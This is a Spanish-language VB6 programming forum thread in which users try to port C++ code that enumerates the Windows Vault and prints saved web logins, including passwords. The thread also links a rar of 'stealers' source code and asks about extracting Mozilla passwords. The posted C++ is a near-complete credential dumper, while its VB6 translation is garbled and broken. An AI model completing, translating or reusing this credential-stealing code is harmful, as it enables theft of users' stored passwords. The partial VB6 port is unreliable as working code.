Autor Tema: COBEIN lee esto por favor...  (Leído 4288 veces)

0 Usuarios y 1 Visitante están viendo este tema.

79137913

  • Megabyte
  • ***
  • Mensajes: 185
  • Reputación: +21/-4
  • 4 Esquinas
    • Ver Perfil
    • Eco.Resumen Resumenes Cs. Economicas
Re:COBEIN lee esto por favor...
« Respuesta #15 en: Septiembre 03, 2013, 01:28:38 pm »
HOLA!!!

Aca estoy de nuevo, ya debo estar pesado...

Encontre este codigo (esta comentado) que extrae los logins del windows Vault para W7 y W8.

Me puse a traducirlo, pero como se muy poco de c++ no pude :(

Pueden ver si se puede hacer algo?

Código: Visual Basic
  1. Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long
  2. Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
  3. Private Declare Sub GetMem4 Lib "msvbvm60" (ByVal Addr As Long, RetVal As Long)
  4. Private Declare Sub PutMem1 Lib "msvbvm60" (ByVal Addr As Long, ByVal NewVal As Byte)
  5. Private Declare Sub PutMem2 Lib "msvbvm60" (ByVal Addr As Long, ByVal NewVal As Integer)
  6. Private Declare Sub PutMem4 Lib "msvbvm60" (ByVal Addr As Long, ByVal NewVal As Long)
  7. Private Declare Sub PutMem8 Lib "msvbvm60" (ByVal Addr As Long, ByVal NewVal As Currency)
  8. Declare Function GetVersionExA Lib "kernel32" (lpVersionInformation As OSVERSIONINFO) As Integer
  9. Public Type OSVERSIONINFO
  10.     dwOSVersionInfoSize As Long
  11.     dwMajorVersion As Long
  12.     dwMinorVersion As Long
  13.     dwBuildNumber As Long
  14.     dwPlatformId As Long
  15.     szCSDVersion As String * 128
  16. End Type
  17. Private Const VER_PLATFORM_WIN32s = 0
  18. Private Const VER_PLATFORM_WIN32_WINDOWS = 1
  19. Private Const VER_PLATFORM_WIN32_NT As Long = 2
  20.  
  21.  
  22. '#define UNICODE
  23. '#include <windows.h>
  24. '
  25. '#include <cstdio>
  26. '#include <string>
  27. '
  28. '#pragma comment(lib, "user32.lib")
  29. '
  30. 'VOID showError(DWORD dwError, PWCHAR pFmt, ...) {
  31. '  PWCHAR pDetails;
  32. '  WCHAR buffer[2048];
  33. '
  34. '  if (pFmt != NULL) {
  35. '    va_list arglist;
  36. '    va_start(arglist, pFmt);
  37. '       wvsprintf(buffer, pFmt, arglist);
  38. '       va_end(arglist);
  39. '  }
  40. '  FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
  41. '      NULL, dwError, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
  42. '      (LPWSTR)&pDetails, 0, NULL);
  43. '
  44. '  wprintf(L"\n  %s : %s", buffer, pDetails);
  45. '  LocalFree(pDetails);
  46. '}
  47. '
  48. 'typedef HANDLE HVAULT;
  49. '
  50. '#define VAULT_ENUMERATE_ALL_ITEMS 512
  51. '
  52. 'GUID Vault_WebCredential_ID =
  53. '{ 0x3CCD5499, 0x87A8, 0x4B10, 0xA2, 0x15, 0x60, 0x88, 0x88, 0xDD, 0x3B, 0x55 };
  54. '
  55. 'enum VAULT_ELEMENT_TYPE {
  56. Private Enum VAULT_ELEMENT_TYPE
  57. '  ElementType_Boolean = 0,
  58.    ElementType_Boolean = 0
  59. '  ElementType_Short = 1,
  60.    ElementType_Short = 1
  61. '  ElementType_UnsignedShort = 2,
  62.    ElementType_UnsignedShort = 2
  63. '  ElementType_Integer = 3,
  64.    ElementType_Integer = 3
  65. '  ElementType_UnsignedInteger = 4,
  66.    ElementType_UnsignedInteger = 4
  67. '  ElementType_Double = 5,
  68.    ElementType_Double = 5
  69. '  ElementType_Guid = 6,
  70.    ElementType_Guid = 6
  71. '  ElementType_String = 7,
  72.    ElementType_String = 7
  73. '  ElementType_ByteArray = 8,
  74.    ElementType_ByteArray = 8
  75. '  ElementType_TimeStamp = 9,
  76.    ElementType_TimeStamp = 9
  77. '  ElementType_ProtectedArray = 0xA,
  78.    ElementType_ProtectedArray = 10
  79. '  ElementType_Attribute = 0xB,
  80.    ElementType_Attribute = 11
  81. '  ElementType_Sid = 0xC,
  82.    ElementType_Sid = 12
  83. '  ElementType_Last = 0xD,
  84.    ElementType_Last = 13
  85. '  ElementType_Undefined = 0xFFFFFFFF
  86.    ElementType_Undefined = -1 'ESTO NO SE SI ESTA BIEN
  87. '};
  88. End Enum
  89. '
  90. 'enum VAULT_SCHEMA_ELEMENT_ID {
  91. Private Enum VAULT_SCHEMA_ELEMENT_ID
  92. '  ElementId_Illegal = 0,
  93.    ElementId_Illegal = 0
  94. '  ElementId_Resource = 1,
  95.    ElementId_Resource = 1
  96. '  ElementId_Identity = 2,
  97.    ElementId_Identity = 2
  98. '  ElementId_Authenticator = 3,
  99.    ElementId_Authenticator = 3
  100. '  ElementId_Tag = 4,
  101.    ElementId_Tag = 4
  102. '  ElementId_PackageSid = 5,
  103.    ElementId_PackageSid = 5
  104. '  ElementId_AppStart = 0x64,
  105.    ElementId_AppStart = 100
  106. '  ElementId_AppEnd = 0x2710
  107.    ElementId_AppEnd = 10000
  108. '};
  109. End Enum
  110.  
  111. 'typedef struct _VAULT_CAUB {
  112. Private Type VAULT_CAUB
  113. '  DWORD NumBytes;
  114.    NumBytes As Long
  115. 'PBYTE pByteArray;
  116.    pByteArray() As Byte
  117. '} VAULT_CAUB, *PVAULT_CAUB;--------------------?????????????'
  118. End Type
  119.  
  120. '
  121. 'typedef struct _VAULT_VARIANT {
  122. Private Type VAULT_VARIANT
  123. '  VAULT_ELEMENT_TYPE Type;---------------------?????????????'
  124. '  DWORD Unknown;
  125.    Unknown As Long
  126. '  union {
  127. '    BOOL Boolean;
  128. '    WORD Short;
  129. '    WORD UnsignedShort;
  130. '    DWORD Int;
  131. '    DWORD UnsignedInt;
  132. '    double Double;
  133. '    GUID Guid;
  134. '    LPCWSTR String;
  135. '    VAULT_CAUB ByteArray;
  136. '    VAULT_CAUB ProtectedArray;
  137. '    DWORD Attribute;
  138. '    DWORD Sid;
  139. '  } vv;
  140. '} VAULT_VARIANT, *PVAULT_VARIANT;
  141. End Type ' ?????????????????????????????????????????????????????
  142.  
  143.  
  144.  
  145. 'typedef struct _VAULT_ITEM_ELEMENT {
  146. Private Type VAULT_ITEM_ELEMENT
  147. '  VAULT_SCHEMA_ELEMENT_ID SchemaElementId;
  148.    SchemaElementId As VAULT_SCHEMA_ELEMENT_ID
  149. '  DWORD Unknown;
  150.    Unknown As Long
  151. '  VAULT_VARIANT ItemValue;
  152.    ItemValue As VAULT_VARIANT
  153. '} VAULT_ITEM_ELEMENT, *PVAULT_ITEM_ELEMENT; --------------??????????????
  154. End Type
  155. '
  156. 'typedef struct _VAULT_ITEM_W7 {
  157. Private Type VAULT_ITEM_W7
  158. '  GUID SchemaId;
  159.    SchemaId As Guid '??????????????????????????????????????????????????????
  160. '  LPCWSTR pszCredentialFriendlyName;
  161.    pszCredentialFriendlyName As LPCWSTR '???????????????????????????????????
  162. '  PVAULT_ITEM_ELEMENT pResourceElement;
  163.    pResourceElement As VAULT_ITEM_ELEMENT
  164. '  PVAULT_ITEM_ELEMENT pIdentityElement;
  165.    pIdentityElement As VAULT_ITEM_ELEMENT
  166. '  PVAULT_ITEM_ELEMENT pAuthenticatorElement;
  167.    pAuthenticatorElement As VAULT_ITEM_ELEMENT
  168. '  FILETIME LastModified;
  169.    LastModified As FILETIME '?????????????????????????????????????????????????
  170. '  DWORD dwFlags;
  171.    dwFlags As Long
  172. '  DWORD dwPropertiesCount;
  173.    dwPropertiesCount As Long
  174. '  PVAULT_ITEM_ELEMENT pPropertyElements;
  175.    pPropertyElement As VAULT_ITEM_ELEMENT
  176. '} VAULT_ITEM_W7, *PVAULT_ITEM_W7;
  177. End Type
  178.  
  179. 'typedef struct _VAULT_ITEM_W8 {
  180. Private Type VAULT_ITEM_W8
  181. '  GUID SchemaId;
  182.    SchemaId As Guid '????????????????????????????????????
  183. '  LPCWSTR pszCredentialFriendlyName;
  184.    pszCredentialFriendlyName As LPCWSTR '?????????????????
  185. '  PVAULT_ITEM_ELEMENT pResourceElement;
  186.    pResourceElement As VAULT_ITEM_ELEMENT
  187. '  PVAULT_ITEM_ELEMENT pIdentityElement;
  188.    pIdentityElement As VAULT_ITEM_ELEMENT
  189. '  PVAULT_ITEM_ELEMENT pAuthenticatorElement;
  190.    pAuthenticatorElement As VAULT_ITEM_ELEMENT
  191. '  PVAULT_ITEM_ELEMENT pPackageSid;
  192.    pPackageSid As VAULT_ITEM_ELEMENT
  193. '  FILETIME LastModified;
  194.    LastModified As FILETIME '????????????????????????????
  195. '  DWORD dwFlags;
  196.    dwFlags As Long
  197. '  DWORD dwPropertiesCount;
  198.    dwPropertiesCount As Long
  199. '  PVAULT_ITEM_ELEMENT pPropertyElements;
  200.    pPropertyElements As VAULT_ITEM_ELEMENT
  201. '} VAULT_ITEM_W8, *PVAULT_ITEM_W8;
  202. End Type
  203. '
  204. 'typedef struct _VAULT_ITEM {
  205. Private Type VAULT_ITEM
  206. '  std::wstring Account;
  207.    Account As String
  208. '  std::wstring Url;
  209.    Url As String
  210. '  FILETIME LastModified;
  211.    LastModified As FILETIME
  212. '  std::wstring UserName;
  213.    UserName As String
  214. '  std::wstring Password;
  215.    Password As String
  216. '} VAULT_ITEM, *PVAULT_ITEM;
  217. End Type
  218.  
  219. 'typedef DWORD (WINAPI *VaultEnumerateVaults)(DWORD dwFlags, PDWORD VaultsCount, GUID **ppVaultGuids);
  220. 'typedef DWORD (WINAPI *VaultEnumerateItems)(HVAULT VaultHandle, DWORD dwFlags, PDWORD ItemsCount, PVOID *Items);
  221. 'typedef DWORD (WINAPI *VaultOpenVault)(GUID *pVaultId, DWORD dwFlags, HVAULT *pVaultHandle);
  222. 'typedef DWORD (WINAPI *VaultCloseVault)(HVAULT VaultHandle);
  223. 'typedef DWORD (WINAPI *VaultFree)(PVOID pMemory);
  224. 'typedef DWORD (WINAPI *VaultGetItemW7)(HVAULT VaultHandle, GUID *pSchemaId, PVAULT_ITEM_ELEMENT pResource, PVAULT_ITEM_ELEMENT pIdentity, HWND hwndOwner, DWORD dwFlags, PVAULT_ITEM_W7 *ppItem);
  225. 'typedef DWORD (WINAPI *VaultGetItemW8)(HVAULT VaultHandle, GUID *pSchemaId, PVAULT_ITEM_ELEMENT pResource, PVAULT_ITEM_ELEMENT pIdentity, PVAULT_ITEM_ELEMENT pPackageSid, HWND hwndOwner, DWORD dwFlags, PVAULT_ITEM_W8 *ppItem);
  226. '
  227. 'HMODULE hVaultLib;
  228. '
  229. 'VaultEnumerateItems  pVaultEnumerateItems;
  230. 'VaultFree            pVaultFree;
  231. 'VaultGetItemW7       pVaultGetItemW7;
  232. 'VaultGetItemW8       pVaultGetItemW8;
  233. 'VaultOpenVault       pVaultOpenVault;
  234. 'VaultCloseVault      pVaultCloseVault;
  235. 'VaultEnumerateVaults pVaultEnumerateVaults;
  236. '
  237. 'BOOL InitVault(VOID) {
  238. Private Function InitVault() As Boolean
  239. '   BOOL bStatus = FALSE;
  240.    Dim bStatus As Boolean
  241. '   hVaultLib = LoadLibrary(L"vaultcli.dll");
  242.    Dim hVaultLib As Long: hVaultLib = LoadLibraryA("vaultcli.dll")
  243. '   if (hVaultLib != NULL) {
  244.    If hVaultLib <> 0 Then
  245. '    pVaultEnumerateItems  = (VaultEnumerateItems)GetProcAddress(hVaultLib,  "VaultEnumerateItems");
  246.        pVaultEnumerateItems = CallFunc("VaultEnumerateItems")
  247. '       pVaultEnumerateVaults = (VaultEnumerateVaults)GetProcAddress(hVaultLib, "VaultEnumerateVaults");
  248.        pVaultEnumerateVaults = CallFunc("VaultEnumerateVaults")
  249. '       pVaultFree            = (VaultFree)GetProcAddress(hVaultLib,            "VaultFree");
  250.        pVaultFree = CallFunc("VaultFree")
  251. '       pVaultGetItemW7       = (VaultGetItemW7)GetProcAddress(hVaultLib,       "VaultGetItem");
  252.        pVaultGetItemW7 = CallFunc("VaultGetItem")
  253. '       pVaultGetItemW8       = (VaultGetItemW8)GetProcAddress(hVaultLib,       "VaultGetItem");
  254.        pVaultGetItemW8 = CallFunc("VaultGetItem")
  255. '       pVaultOpenVault       = (VaultOpenVault)GetProcAddress(hVaultLib,       "VaultOpenVault");
  256.        pVaultOpenVault = CallFunc("VaultOpenVault")
  257. '       pVaultCloseVault      = (VaultCloseVault)GetProcAddress(hVaultLib,      "VaultCloseVault");
  258.        pVaultCloseVault = CallFunc("VaultCloseVault")
  259. '
  260. '       bStatus = (pVaultEnumerateVaults != NULL)
  261. '         && (pVaultFree != NULL)
  262. '         && (pVaultGetItemW7 != NULL)
  263. '         && (pVaultGetItemW8 != NULL)
  264. '         && (pVaultOpenVault != NULL)
  265. '         && (pVaultCloseVault != NULL)
  266. '         && (pVaultEnumerateItems != NULL);
  267.        If pVaultEnumerateVaults <> 0 And _
  268.            pVaultFree <> 0 And _
  269.            pVaultGetItemW7 <> 0 And _
  270.            pVaultGetItemW8 <> 0 And _
  271.            pVaultOpenVault <> 0 And _
  272.            pVaultCloseVault <> 0 And _
  273.            pVaultEnumerateItems <> 0 _
  274.            Then bStatus = True
  275.  
  276.     End If
  277. '   return bStatus;
  278.    InitVault = bStatus
  279. '}
  280. End Function
  281.  
  282. 'BOOL IsOs_Win80rGreater(VOID) {
  283. Private Function IsOs_Win80rGreater() As Boolean
  284.     Dim osinfo As OSVERSIONINFO
  285.     Dim retvalue As Integer
  286.     Dim sOS As String
  287.     osinfo.dwOSVersionInfoSize = 148
  288.     osinfo.szCSDVersion = Space$(128)
  289.     retvalue = GetVersionExA(osinfo)
  290.     If osinfo.dwMajorVersion = 8 Then IsOs_Win80rGreater = True
  291. '}
  292. End Function
  293.  
  294.  
  295. 'BOOL GetItemW7(HVAULT hVault, PVAULT_ITEM_W7 ppItems, DWORD index, VAULT_ITEM &item) {
  296. Private Function GetItemW7(hVault As hVault, ppItems As VAULT_ITEM_W7, index As Long, item As VAULT_ITEM) As Boolean
  297. '  DWORD dwError;
  298.    Dim dwError As Long
  299. '
  300. '  // is this a web credential?
  301. '  if (memcmp(&Vault_WebCredential_ID, &ppItems[index].SchemaId, sizeof(GUID)) == 0) {
  302.    If 0 = 1 Then '?????????????????????????????????????????????????????????????????????
  303. '    item.Account = ppItems[index].pszCredentialFriendlyName;
  304.    item.Account = ppItems(index).pszCredentialFriendlyName
  305. '    item.Url = ppItems[index].pResourceElement->ItemValue.vv.String;
  306.    item.Url = ppItems(index).pResourceElement
  307. '    item.UserName = ppItems[index].pIdentityElement->ItemValue.vv.String;
  308.    item.UserName = ppItems(index).pIdentityElement
  309. '    memcpy(&item.LastModified, &ppItems[index].LastModified, sizeof(FILETIME));
  310.    '    if (ppItems[index].dwPropertiesCount == 0) {
  311.        If ppItems(index).dwPropertiesCount = 0 Then
  312.     '      PVAULT_ITEM_W7 ppCredentials = NULL;
  313.            Dim ppCredentials As VAULT_ITEM_W7
  314.     '      dwError = pVaultGetItemW7(hVault,
  315.    '            &ppItems[index].SchemaId, ppItems[index].pResourceElement,
  316.    '            ppItems[index].pIdentityElement, NULL, 0, &ppCredentials);
  317.            dwError = VaultGetItemW7(hVault, ppItems(index).SchemaId, ppItems(index).pResourceElement, _
  318.                                     ppItems(index).pIdentityElement, vbNull, 0, ppCredentials)
  319.     '      if (dwError == ERROR_SUCCESS) {
  320.            If dwError = ERROR_SUCCESS Then
  321.     '        item.Password = ppCredentials->pAuthenticatorElement->ItemValue.vv.String;
  322.    '        pVaultFree(ppCredentials);
  323.                VaultFree (ppCredentials)
  324.     '      }
  325.            End If
  326.     '    }
  327.        End If
  328.     '  }
  329.    End If
  330. '  return dwError == ERROR_SUCCESS;
  331. End Function
  332. '
  333. 'BOOL GetItemW8(HVAULT hVault, PVAULT_ITEM_W8 ppItems, DWORD index, VAULT_ITEM &item) {
  334. Private Function GetItemW8(hVault As hVault, ppItems As VAULT_ITEM_W8, index As Long, item As VAULT_ITEM) As Boolean
  335. '  DWORD dwError;
  336.    Dim dwError As Long
  337. '
  338. '  // is this a web credential?
  339. '  if (memcmp(&Vault_WebCredential_ID, &ppItems[index].SchemaId, sizeof(GUID)) == 0) {
  340.    If 0 = 1 Then ' ?????????????????????????????????????????????????????????????????????
  341. '    item.Account = ppItems[index].pszCredentialFriendlyName;
  342.        item.Account = ppItems(index).pszCredentialFriendlyName
  343. '    item.Url = ppItems[index].pResourceElement->ItemValue.vv.String;
  344.        item.Url = ppItems(index).pResourceElement
  345. '    item.UserName = ppItems[index].pIdentityElement->ItemValue.vv.String;
  346.        item.UserName = ppItems(index).pIdentityElement
  347. '    memcpy(&item.LastModified, &ppItems[index].LastModified, sizeof(FILETIME));
  348. '    if (ppItems[index].dwPropertiesCount == 0) {
  349.        If ppItems(index).dwPropertiesCount = 0 Then
  350. '      PVAULT_ITEM_W8 ppCredentials = NULL;
  351.            Dim ppCredentials As VAULT_ITEM_W8
  352. '      dwError = pVaultGetItemW8(hVault,
  353. '            &ppItems[index].SchemaId, ppItems[index].pResourceElement,
  354. '            ppItems[index].pIdentityElement, NULL, NULL, 0, &ppCredentials);
  355.            dwError = VaultGetItemW8(hVault, ppItems(index).SchemaId, ppItems(index).pResourceElement, _
  356.                                     ppItems(index).pIdentityElement, vbNull, vbNull, 0, ppCredentials)
  357. '      if (dwError == ERROR_SUCCESS) {
  358. '        item.Password = ppCredentials->pAuthenticatorElement->ItemValue.vv.String;
  359. '        pVaultFree(ppCredentials);
  360. '      }
  361. '    }
  362. '  }
  363. '  return dwError == ERROR_SUCCESS;
  364. '}
  365. End Function
  366. '
  367. 'void ListWebCredentials(void) {
  368. Private Sub ListWebCredentials()
  369. '   DWORD dwVaults, dwError;
  370.    Dim dwVaults As Long
  371.     Dim dwError As Long
  372. '  HVAULT hVault;
  373.    Dim hVaul As º
  374. '  GUID *ppVaultGuids;
  375. '  BOOL bWin80rGreater = IsOs_Win80rGreater();
  376.    Dim bWin80rGreater As Boolean: bWin80rGreater = IsOs_Win80rGreater
  377. '
  378. '  dwError = pVaultEnumerateVaults(NULL, &dwVaults, &ppVaultGuids);
  379.    dwError = VaultEnumerateVaults(vbNull, dwVaults, ppVaultGuids)
  380.  
  381. '  if (dwError != ERROR_SUCCESS) {
  382.    If dwError <> ERROR_SUCCESS Then
  383. '    showError(dwError, L"VaultEnumerateVaults");
  384.        Exit Function
  385. '    return;
  386.    End If
  387. '
  388. '  // for each vault found
  389. '  for (DWORD i = 0;i < dwVaults;i++) {
  390. '    dwError = pVaultOpenVault(&ppVaultGuids[i], 0, &hVault);
  391. '    // open it
  392. '    if (dwError == ERROR_SUCCESS) {
  393. '      PVOID ppItems;
  394. '      DWORD dwItems;
  395. '
  396. '      // enumerate items
  397. '      dwError = pVaultEnumerateItems(hVault, VAULT_ENUMERATE_ALL_ITEMS,
  398. '          &dwItems, &ppItems);
  399. '
  400. '      if (dwError == ERROR_SUCCESS) {
  401. '        // for each item
  402. '        for (DWORD j = 0; j < dwItems; j++) {
  403. '          VAULT_ITEM item;
  404. '          BOOL bResult;
  405. '          memset(&item, 0, sizeof(VAULT_ITEM));
  406. '
  407. '          if (bWin80rGreater) {
  408. '            bResult = GetItemW8(hVault, (PVAULT_ITEM_W8)ppItems, j, item);
  409. '          } else {
  410. '            bResult = GetItemW7(hVault, (PVAULT_ITEM_W7)ppItems, j, item);
  411. '          }
  412. '
  413. '          if (bResult) {
  414. '            // application
  415. '            wprintf(L"\n  Account name: %s", item.Account.c_str());
  416. '
  417. '            // web address
  418. '            wprintf(L"\n  Website address (URL): %s", item.Url.c_str());
  419. '
  420. '            FILETIME ft, lt;
  421. '            SYSTEMTIME st;
  422. '            wchar_t modified[MAX_PATH];
  423. '
  424. '            FileTimeToLocalFileTime(&item.LastModified, &lt);
  425. '            FileTimeToSystemTime(&lt, &st);
  426. '
  427. '            // last time it was updated
  428. '            if (GetDateFormat(LOCALE_SYSTEM_DEFAULT, 0,
  429. '                &st, L"MM/dd/yyyy", modified, MAX_PATH)) {
  430. '              wprintf(L"\n  Last modified: %s", modified);
  431. '            }
  432. '            wprintf(L"\n  User Name: %s", item.UserName.c_str());
  433. '            wprintf(L"\n  Password: %s\n", item.Password.c_str());
  434. '          }
  435. '        }
  436. '        pVaultFree(ppItems);
  437. '      } else {
  438. '        showError(dwError, L"VaultEnumerateItems()");
  439. '      }
  440. '      pVaultCloseVault(hVault);
  441. '    } else {
  442. '      showError(dwError, L"VaultOpenVault()");
  443. '    }
  444. '  }
  445. End Sub
  446. '}
  447. '
  448. 'VOID ConsoleSetBufferWidth(SHORT X) {
  449. '  CONSOLE_SCREEN_BUFFER_INFO csbi;
  450. '  GetConsoleScreenBufferInfo(GetStdHandle(STD_OUTPUT_HANDLE), &csbi);
  451. '
  452. '  if (X <= csbi.dwSize.X) return;
  453. '  csbi.dwSize.X = X;
  454. '  SetConsoleScreenBufferSize(GetStdHandle(STD_OUTPUT_HANDLE), csbi.dwSize);
  455. '}
  456. '
  457. 'int wmain(void) {
  458. Public Sub Main()
  459. '   if (InitVault()) {ListwebCredentials}
  460.    If InitVault Then ListWebCredentials
  461. End Sub
  462.  
  463. Private Function CallFunc(ByVal sFunction As String, ParamArray ParmLongs() As Variant) As Long
  464.     Dim i As Long
  465.     Dim j As Long
  466.     If (StrComp(sLastFunc, sFunction) <> 0) Or bNewDLL Then
  467.         nAddr = GetProcAddress(hMod, sFunction)
  468.         PutMem4 pCode + PATCH_01, nAddr - pCode - (PATCH_01 + 4)
  469.         bNewDLL = False
  470.         sLastFunc = sFunction
  471.     End If
  472.     With pb
  473.         j = UBound(ParmLongs)
  474.         For i = 0 To j
  475.             .Params(i) = ParmLongs(i)
  476.         Next i
  477.         .ParamCount = i                                         '(j + 1)
  478.    End With
  479.     CallFunc = z_DO_NOT_CALL(VarPtr(pb))                      'Execute the code buffer passing the address of the parameter block
  480. End Function
  481.  
  482. Public Function z_DO_NOT_CALL(ByVal nAddrParamBlock As Long) As Long
  483. End Function
  484.  

GRACIAS POR LEER!!!
« última modificación: Septiembre 04, 2013, 12:05:01 pm por 79137913 »
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

 79137913                          *Shadow Scouts Team*                                                          Resumenes Cs.Economicas

79137913

  • Megabyte
  • ***
  • Mensajes: 185
  • Reputación: +21/-4
  • 4 Esquinas
    • Ver Perfil
    • Eco.Resumen Resumenes Cs. Economicas
Re:COBEIN lee esto por favor...
« Respuesta #16 en: Septiembre 04, 2013, 12:05:56 pm »
HOLA!!!

Actualizo, ya traduje mucho mas de la funcion!!!

GRACIAS POR LEER!!!
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

 79137913                          *Shadow Scouts Team*                                                          Resumenes Cs.Economicas

LeandroA

  • Administrador
  • Petabyte
  • *****
  • Mensajes: 1052
  • Reputación: +145/-8
    • Ver Perfil
Re:COBEIN lee esto por favor...
« Respuesta #17 en: Septiembre 04, 2013, 12:26:24 pm »
Hola, yo intente varias formas, pero me crashea el vb, no hay documentación sobre esta api, esta solo ese ejemplo que tampoco se si funciona, por lo visto es una dll CDECL pero como dije antes me explota

almenos algo sensillo antes de seguir
Código: Visual Basic
  1.    Dim ppVaultGuids() As Guid
  2.    Dim dwVaults As Long
  3.    ReDim ppVaultGuids(20)
  4.    
  5.    cCDECL.DllLoad "vaultcli.dll"
  6.    Call cCDECL.CallFunc("VaultEnumerateVaults", 0&, VarPtr(dwVaults), VarPtr(ppVaultGuids(0)))
  7.  

el tipo Guid esta declarado en el vb, me queda la duda, si se declara en un TLB pueda llegar a safar.




Bazooka

  • Terabyte
  • *****
  • Mensajes: 950
  • Reputación: +31/-20
  • El pibe Bazooka
    • Ver Perfil
    • Desof Systems
Re:COBEIN lee esto por favor...
« Respuesta #18 en: Junio 01, 2014, 09:43:24 pm »
Hola veo que en este post han utilizado la DLL sqlite3vb.dll y no la puedo encontrar todas las paginas me vueltean por todos lados.
Alguno la comparte?

Gracias
Todos somos muy ignorantes. Lo que ocurre es que no todos ignoramos las mismas cosas.

79137913

  • Megabyte
  • ***
  • Mensajes: 185
  • Reputación: +21/-4
  • 4 Esquinas
    • Ver Perfil
    • Eco.Resumen Resumenes Cs. Economicas
Re:COBEIN lee esto por favor...
« Respuesta #19 en: Junio 02, 2014, 08:35:43 am »
HOLA!!!

http://www.mediafire.com/download/9ddnzufoutl6dhh/SQLite3VB.rar

p.d:Alguien quiere los codigos de los stealers? Cobein los queres ?

GRACIAS POR LEER!!!
« última modificación: Junio 02, 2014, 08:44:37 am por 79137913 »
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

 79137913                          *Shadow Scouts Team*                                                          Resumenes Cs.Economicas

Bazooka

  • Terabyte
  • *****
  • Mensajes: 950
  • Reputación: +31/-20
  • El pibe Bazooka
    • Ver Perfil
    • Desof Systems
Re:COBEIN lee esto por favor...
« Respuesta #20 en: Junio 02, 2014, 09:25:56 am »
HOLA!!!

http://www.mediafire.com/download/9ddnzufoutl6dhh/SQLite3VB.rar

p.d:Alguien quiere los codigos de los stealers? Cobein los queres ?

GRACIAS POR LEER!!!


Muchas Gracias!! amigo

a mi me interesan los stealers !
Todos somos muy ignorantes. Lo que ocurre es que no todos ignoramos las mismas cosas.

79137913

  • Megabyte
  • ***
  • Mensajes: 185
  • Reputación: +21/-4
  • 4 Esquinas
    • Ver Perfil
    • Eco.Resumen Resumenes Cs. Economicas
Re:COBEIN lee esto por favor...
« Respuesta #21 en: Junio 02, 2014, 10:32:31 am »
HOLA!!!

Los codigos estan aca, Password del rar por privado asi no les damos navajas a los monos que pueden  ingresar aca por google. ;)

http://www.mediafire.com/view/6p6a6wg5roo07ow/stealers(3).rar

GRACIAS POR LEER!!!
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

 79137913                          *Shadow Scouts Team*                                                          Resumenes Cs.Economicas

tomi

  • Bit
  • Mensajes: 2
  • Reputación: +0/-0
    • Ver Perfil
Re:COBEIN lee esto por favor...
« Respuesta #22 en: Junio 18, 2015, 09:18:39 pm »
Hi,

This might be an old topic but I was wondering if someone with great knowledge in c++  and vb6 would like to convert a code I've found for listening credentials from Windows Vault. Unlike the code above it doesn't contain the undocumented API VaultEnumerateVaults and its working great.

Thanks
« última modificación: Junio 18, 2015, 09:20:14 pm por tomi »

coco

  • Administrador
  • Terabyte
  • *****
  • Mensajes: 549
  • Reputación: +63/-3
    • Ver Perfil
Re:COBEIN lee esto por favor...
« Respuesta #23 en: Junio 19, 2015, 12:06:07 am »
Hi,

This might be an old topic but I was wondering if someone with great knowledge in c++  and vb6 would like to convert a code I've found for listening credentials from Windows Vault. Unlike the code above it doesn't contain the undocumented API VaultEnumerateVaults and its working great.

Thanks


Post it and I might do that. Not right now since I'm studying for finals.
'-     coco
(No me cabe: .NET, Java, Python ni Pascal)
SQLite - PIC 16F y 18F - VB6 - Electronica - Sonido y Ambientacion

gasafonso

  • Megabyte
  • ***
  • Mensajes: 175
  • Reputación: +4/-10
    • Ver Perfil
Re:COBEIN lee esto por favor...
« Respuesta #24 en: Junio 19, 2015, 02:22:54 pm »
Me envias el codigo del .rara ? gracias amigo

tomi

  • Bit
  • Mensajes: 2
  • Reputación: +0/-0
    • Ver Perfil
Re:COBEIN lee esto por favor...
« Respuesta #25 en: Enero 31, 2016, 02:19:12 pm »
Hi,

Does anyone knows why CallFunc("PK11_GetInternalKeySlot") could not be loaded on Windows 8 and Windows 10 from the code above for  Mozilla logins?
It always returns 0 instead of something else.